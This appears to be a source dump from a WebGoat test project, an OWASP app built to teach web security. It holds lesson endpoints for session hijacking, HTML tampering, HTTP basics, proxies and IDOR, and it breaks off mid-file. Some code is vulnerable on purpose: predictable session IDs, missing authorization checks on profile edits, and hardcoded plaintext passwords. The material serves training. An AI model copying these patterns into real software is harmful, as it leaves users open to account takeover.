    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source\n * ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.hijacksession.cas;\n\nimport java.security.Principal;\n\n/**\n * @author Angel Olle Blazquez\n */\n@FunctionalInterface\npublic interface AuthenticationProvider<T extends Principal> {\n\n  T authenticate(T t);\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/hijacksession/cas/HijackSessionAuthenticationProvider.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2021 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source\n * ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.hijacksession.cas;\n\nimport java.time.Instant;\nimport java.util.LinkedList;\nimport java.util.Queue;\nimport java.util.Random;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.function.DoublePredicate;\nimport java.util.function.Supplier;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.context.annotation.ApplicationScope;\n\n/**\n * @author Angel Olle Blazquez\n */\n\n// weak id value and mechanism\n\n@ApplicationScope\n@Component\npublic class HijackSessionAuthenticationProvider implements AuthenticationProvider<Authentication> {\n\n  private Queue<String> sessions = new LinkedList<>();\n  private static long id = new Random().nextLong() & Long.MAX_VALUE;\n  protected static final int MAX_SESSIONS = 50;\n\n  private static final DoublePredicate PROBABILITY_DOUBLE_PREDICATE = pr -> pr < 0.75;\n  private static final Supplier<String> GENERATE_SESSION_ID =\n      () -> ++id + \"-\" + Instant.now().toEpochMilli();\n  public static final Supplier<Authentication> AUTHENTICATION_SUPPLIER =\n      () -> Authentication.builder().id(GENERATE_SESSION_ID.get()).build();\n\n  @Override\n  public Authentication authenticate(Authentication authentication) {\n    if (authentication == null) {\n      return AUTHENTICATION_SUPPLIER.get();\n    }\n\n    if (StringUtils.isNotEmpty(authentication.getId())\n        && sessions.contains(authentication.getId())) {\n      authentication.setAuthenticated(true);\n      return authentication;\n    }\n\n    if (StringUtils.isEmpty(authentication.getId())) {\n      authentication.setId(GENERATE_SESSION_ID.get());\n    }\n\n    authorizedUserAutoLogin();\n\n    return authentication;\n  }\n\n  protected void authorizedUserAutoLogin() {\n    if (!PROBABILITY_DOUBLE_PREDICATE.test(ThreadLocalRandom.current().nextDouble())) {\n      Authentication authentication = AUTHENTICATION_SUPPLIER.get();\n      authentication.setAuthenticated(true);\n      addSession(authentication.getId());\n    }\n  }\n\n  protected boolean addSession(String sessionId) {\n    if (sessions.size() >= MAX_SESSIONS) {\n      sessions.remove();\n    }\n    return sessions.add(sessionId);\n  }\n\n  protected int getSessionsSize() {\n    return sessions.size();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTampering.java",
    "content": "package org.owasp.webgoat.lessons.htmltampering;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class HtmlTampering extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.CLIENT_SIDE;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"html-tampering.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/htmltampering/HtmlTamperingTask.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.htmltampering;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"hint1\", \"hint2\", \"hint3\"})\npublic class HtmlTamperingTask extends AssignmentEndpoint {\n\n  @PostMapping(\"/HtmlTampering/task\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String QTY, @RequestParam String Total) {\n    if (Float.parseFloat(QTY) * 2999.99 > Float.parseFloat(Total) + 1) {\n      return success(this).feedback(\"html-tampering.tamper.success\").build();\n    }\n    return failed(this).feedback(\"html-tampering.tamper.failure\").build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasics.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.httpbasics;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class HttpBasics extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.GENERAL;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"1.http-basics.title\"; // first lesson in general\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsLesson.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.httpbasics;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"http-basics.hints.http_basics_lesson.1\"})\npublic class HttpBasicsLesson extends AssignmentEndpoint {\n\n  @PostMapping(\"/HttpBasics/attack1\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String person) {\n    if (!person.isBlank()) {\n      return success(this)\n          .feedback(\"http-basics.reversed\")\n          .feedbackArgs(new StringBuilder(person).reverse().toString())\n          .build();\n    } else {\n      return failed(this).feedback(\"http-basics.empty\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpbasics/HttpBasicsQuiz.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.httpbasics;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AssignmentPath;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"http-basics.hints.http_basic_quiz.1\", \"http-basics.hints.http_basic_quiz.2\"})\n@AssignmentPath(\"HttpBasics/attack2\")\npublic class HttpBasicsQuiz extends AssignmentEndpoint {\n\n  @PostMapping(\"/HttpBasics/attack2\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String answer,\n      @RequestParam String magic_answer,\n      @RequestParam String magic_num) {\n    if (\"POST\".equalsIgnoreCase(answer) && magic_answer.equals(magic_num)) {\n      return success(this).build();\n    } else {\n      if (!\"POST\".equalsIgnoreCase(answer)) {\n        return failed(this).feedback(\"http-basics.incorrect\").build();\n      }\n      if (!magic_answer.equals(magic_num)) {\n        return failed(this).feedback(\"http-basics.magic\").build();\n      }\n    }\n    return failed(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpBasicsInterceptRequest.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.httpproxies;\n\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.web.bind.annotation.RequestHeader;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class HttpBasicsInterceptRequest extends AssignmentEndpoint {\n\n  @RequestMapping(\n      path = \"/HttpProxies/intercept-request\",\n      method = {RequestMethod.POST, RequestMethod.GET})\n  @ResponseBody\n  public AttackResult completed(\n      @RequestHeader(value = \"x-request-intercepted\", required = false) Boolean headerValue,\n      @RequestParam(value = \"changeMe\", required = false) String paramValue,\n      HttpServletRequest request) {\n    if (HttpMethod.POST.matches(request.getMethod())) {\n      return failed(this).feedback(\"http-proxies.intercept.failure\").build();\n    }\n    if (headerValue != null\n        && paramValue != null\n        && headerValue\n        && \"Requests are tampered easily\".equalsIgnoreCase(paramValue)) {\n      return success(this).feedback(\"http-proxies.intercept.success\").build();\n    } else {\n      return failed(this).feedback(\"http-proxies.intercept.failure\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/httpproxies/HttpProxies.java",
    "content": "package org.owasp.webgoat.lessons.httpproxies;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class HttpProxies extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.GENERAL;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"2.http-proxies.title\"; // second lesson in GENERAL\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDOR.java",
    "content": "package org.owasp.webgoat.lessons.idor;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author misfir3\n * @version $Id: $Id\n * @since January 3, 2017\n */\n@Component\npublic class IDOR extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A1;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"idor.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORDiffAttributes.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.idor;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"idor.hints.idorDiffAttributes1\",\n  \"idor.hints.idorDiffAttributes2\",\n  \"idor.hints.idorDiffAttributes3\"\n})\npublic class IDORDiffAttributes extends AssignmentEndpoint {\n\n  @PostMapping(\"/IDOR/diff-attributes\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String attributes) {\n    attributes = attributes.trim();\n    String[] diffAttribs = attributes.split(\",\");\n    if (diffAttribs.length < 2) {\n      return failed(this).feedback(\"idor.diff.attributes.missing\").build();\n    }\n    if (diffAttribs[0].toLowerCase().trim().equals(\"userid\")\n            && diffAttribs[1].toLowerCase().trim().equals(\"role\")\n        || diffAttribs[1].toLowerCase().trim().equals(\"userid\")\n            && diffAttribs[0].toLowerCase().trim().equals(\"role\")) {\n      return success(this).feedback(\"idor.diff.success\").build();\n    } else {\n      return failed(this).feedback(\"idor.diff.failure\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDOREditOtherProfiile.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.idor;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"idor.hints.otherProfile1\",\n  \"idor.hints.otherProfile2\",\n  \"idor.hints.otherProfile3\",\n  \"idor.hints.otherProfile4\",\n  \"idor.hints.otherProfile5\",\n  \"idor.hints.otherProfile6\",\n  \"idor.hints.otherProfile7\",\n  \"idor.hints.otherProfile8\",\n  \"idor.hints.otherProfile9\"\n})\npublic class IDOREditOtherProfiile extends AssignmentEndpoint {\n\n  @Autowired private UserSessionData userSessionData;\n\n  @PutMapping(path = \"/IDOR/profile/{userId}\", consumes = \"application/json\")\n  @ResponseBody\n  public AttackResult completed(\n      @PathVariable(\"userId\") String userId, @RequestBody UserProfile userSubmittedProfile) {\n\n    String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n    // this is where it starts ... accepting the user submitted ID and assuming it will be the same\n    // as the logged in userId and not checking for proper authorization\n    // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let\n    // everyone, right?\n    // Except that this is a vulnerable app ... so we will\n    UserProfile currentUserProfile = new UserProfile(userId);\n    if (userSubmittedProfile.getUserId() != null\n        && !userSubmittedProfile.getUserId().equals(authUserId)) {\n      // let's get this started ...\n      currentUserProfile.setColor(userSubmittedProfile.getColor());\n      currentUserProfile.setRole(userSubmittedProfile.getRole());\n      // we will persist in the session object for now in case we want to refer back or use it later\n      userSessionData.setValue(\"idor-updated-other-profile\", currentUserProfile);\n      if (currentUserProfile.getRole() <= 1\n          && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n        return success(this)\n            .feedback(\"idor.edit.profile.success1\")\n            .output(currentUserProfile.profileToMap().toString())\n            .build();\n      }\n\n      if (currentUserProfile.getRole() > 1\n          && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n        return success(this)\n            .feedback(\"idor.edit.profile.failure1\")\n            .output(currentUserProfile.profileToMap().toString())\n            .build();\n      }\n\n      if (currentUserProfile.getRole() <= 1\n          && !currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n        return success(this)\n            .feedback(\"idor.edit.profile.failure2\")\n            .output(currentUserProfile.profileToMap().toString())\n            .build();\n      }\n\n      // else\n      return failed(this)\n          .feedback(\"idor.edit.profile.failure3\")\n          .output(currentUserProfile.profileToMap().toString())\n          .build();\n    } else if (userSubmittedProfile.getUserId().equals(authUserId)) {\n      return failed(this).feedback(\"idor.edit.profile.failure4\").build();\n    }\n\n    if (currentUserProfile.getColor().equals(\"black\") && currentUserProfile.getRole() <= 1) {\n      return success(this)\n          .feedback(\"idor.edit.profile.success2\")\n          .output(userSessionData.getValue(\"idor-updated-own-profile\").toString())\n          .build();\n    } else {\n      return failed(this).feedback(\"idor.edit.profile.failure3\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORLogin.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.idor;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\"idor.hints.idor_login\"})\npublic class IDORLogin extends AssignmentEndpoint {\n\n  private Map<String, Map<String, String>> idorUserInfo = new HashMap<>();\n\n  public void initIDORInfo() {\n\n    idorUserInfo.put(\"tom\", new HashMap<String, String>());\n    idorUserInfo.get(\"tom\").put(\"password\", \"cat\");\n    idorUserInfo.get(\"tom\").put(\"id\", \"2342384\");\n    idorUserInfo.get(\"tom\").put(\"color\", \"yellow\");\n    idorUserInfo.get(\"tom\").put(\"size\", \"small\");\n\n    idorUserInfo.put(\"bill\", new HashMap<String, String>());\n    idorUserInfo.get(\"bill\").put(\"password\", \"buffalo\");\n    idorUserInfo.get(\"bill\").put(\"id\", \"2342388\");\n    idorUserInfo.get(\"bill\").put(\"color\", \"brown\");\n    idorUserInfo.get(\"bill\").put(\"size\", \"large\");\n  }\n\n  @PostMapping(\"/IDOR/login\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String username, @RequestParam String password) {\n    initIDORInfo();\n    UserSessionData userSessionData = getUserSessionData();\n\n    if (idorUserInfo.containsKey(username)) {\n      if (\"tom\".equals(username) && idorUserInfo.get(\"tom\").get(\"password\").equals(password)) {\n        userSessionData.setValue(\"idor-authenticated-as\", username);\n        userSessionData.setValue(\n            \"idor-authenticated-user-id\", idorUserInfo.get(username).get(\"id\"));\n        return success(this).feedback(\"idor.login.success\").feedbackArgs(username).build();\n      } else {\n        return failed(this).feedback(\"idor.login.failure\").build();\n      }\n    } else {\n      return failed(this).feedback(\"idor.login.failure\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOtherProfile.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.idor;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport javax.servlet.http.HttpServletResponse;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"idor.hints.otherProfile1\",\n  \"idor.hints.otherProfile2\",\n  \"idor.hints.otherProfile3\",\n  \"idor.hints.otherProfile4\",\n  \"idor.hints.otherProfile5\",\n  \"idor.hints.otherProfile6\",\n  \"idor.hints.otherProfile7\",\n  